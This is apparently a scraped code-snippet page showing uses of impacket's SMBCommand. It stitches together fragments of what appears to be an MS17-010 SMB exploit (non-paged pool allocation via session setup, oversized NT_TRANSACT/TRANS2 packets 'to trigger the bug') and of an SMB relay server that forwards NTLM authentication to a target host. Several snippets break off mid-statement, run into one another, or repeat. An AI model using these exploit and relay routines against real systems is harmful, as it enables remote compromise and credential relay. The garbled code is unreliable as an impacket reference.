How to use the impacket.smb.SMBCommand function in impacket

def createSessionAllocNonPaged(target, port, size, username, password):
    conn = MYSMB(target, port, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
    _, flags2 = conn.get_flags()
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
    sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey']         = 0
    sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    sessionSetup['Data'] = pack('

if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('Client does not support SMB2, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join([random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536

def getNegoAnswer(self, recvPacket):

        if self.isSMB2 is False:
            smbCommand = SMBCommand(recvPacket['Data'][0])
            respSMBCommand = SMBCommand(SMB.SMB_COM_NEGOTIATE)

            resp = NewSMBPacket()
            resp['Flags1'] = SMB.FLAGS1_REPLY
            resp['Pid'] = recvPacket['Pid']
            resp['Tid'] = recvPacket['Tid']
            resp['Mid'] = recvPacket['Mid']

            dialects = smbCommand['Data'].split(b'\x02')
            index = dialects.index(b'NT LM 0.12\x00') - 1
            # Let's fill the data for NTLM
            if recvPacket['Flags2'] & SMB.FLAGS2_EXTENDED_SECURITY:
                resp['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_UNICODE
                _dialects_data = SMBExtended_Security_Data()
                _dialects_data['ServerGUID'] = b'A' * 16
                blob = SPNEGO_NegTokenInit()
                blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]

def login_standard(self, user, domain, ansiPwd, unicodePwd):
        smb = NewSMBPacket()
        smb['Flags1']  = 8
        
        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Data()

        sessionSetup['Parameters']['MaxBuffer']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']      = 2
        sessionSetup['Parameters']['VCNumber']         = os.getpid()
        sessionSetup['Parameters']['SessionKey']       = self._dialects_parameters['SessionKey']
        sessionSetup['Parameters']['AnsiPwdLength']    = len(ansiPwd)
        sessionSetup['Parameters']['UnicodePwdLength'] = len(unicodePwd)
        sessionSetup['Parameters']['Capabilities']     = SMB.CAP_RAW_MODE

        sessionSetup['Data']['AnsiPwd']       = ansiPwd
        sessionSetup['Data']['UnicodePwd']    = unicodePwd
        sessionSetup['Data']['Account']       = user
        sessionSetup['Data']['PrimaryDomain'] = domain
        sessionSetup['Data']['NativeOS']      = 'Unix'

writeAndX = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
        pkt.addCommand(writeAndX)
        
        writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters()
        writeAndX['Parameters']['Fid'] = fid
        writeAndX['Parameters']['Offset'] = offset
        writeAndX['Parameters']['WriteMode'] = 0
        writeAndX['Parameters']['Remaining'] = len(data)
        writeAndX['Parameters']['DataLength'] = len(data)
        writeAndX['Parameters']['DataOffset'] = len(pkt)
        writeAndX['Data'] = data+('A'*4000)

        saved_offset = len(pkt)

        writeAndX2 = smb.SMBCommand(self.SMB_COM_WRITE_ANDX)
        pkt.addCommand(writeAndX2)

        writeAndX2['Parameters'] = smb.SMBWriteAndX_Parameters()
        writeAndX2['Parameters']['Fid'] = fid
        writeAndX2['Parameters']['Offset'] = offset
        writeAndX2['Parameters']['WriteMode'] = 0
        writeAndX2['Parameters']['Remaining'] = len(data)
        writeAndX2['Parameters']['DataLength'] = len(data)
        writeAndX2['Parameters']['DataOffset'] = len(pkt)
        writeAndX2['Data'] = '\n'

        writeAndX2['Parameters']['AndXCommand'] = self.SMB_COM_WRITE_ANDX
        writeAndX2['Parameters']['AndXOffset'] = saved_offset

        self.sendSMB(pkt)

def send_trans2_second(conn, tid, data, displacement):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	# assume no params

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
	transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
	transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

	transCommand['Parameters']['TotalParameterCount'] = 0
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+18
	transCommand['Data']['Pad1'] = ''

	transCommand['Parameters']['ParameterCount'] = 0
	transCommand['Parameters']['ParameterOffset'] = 0

	if len(data) > 0:
		pad2Len = (4 - fixedOffset % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:

# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
	# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
	
	# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction 
	#   with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
	# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
	#   field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
	# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
	
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:

def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus = False)

        #############################################################
        # SMBRelay
        # Are we ready to relay or should we just do local auth?
        if 'relayToHost' not in connData:
            # Just call the original SessionSetup
            return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand, recvPacket)

        # We have confirmed we want to relay to the target host.
        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            rawNTLM = False
            if struct.unpack('B',sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
               # If there no GSSAPI ID, it must be an AUTH packet
               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
               token = blob['ResponseToken']

def sendEcho(conn, tid, data):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
	transCommand['Parameters'] = smb.SMBEcho_Parameters()
	transCommand['Data'] = smb.SMBEcho_Data()

	transCommand['Parameters']['EchoCount'] = 1
	transCommand['Data']['Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('got good ECHO response')
	else:
		print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))

def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else: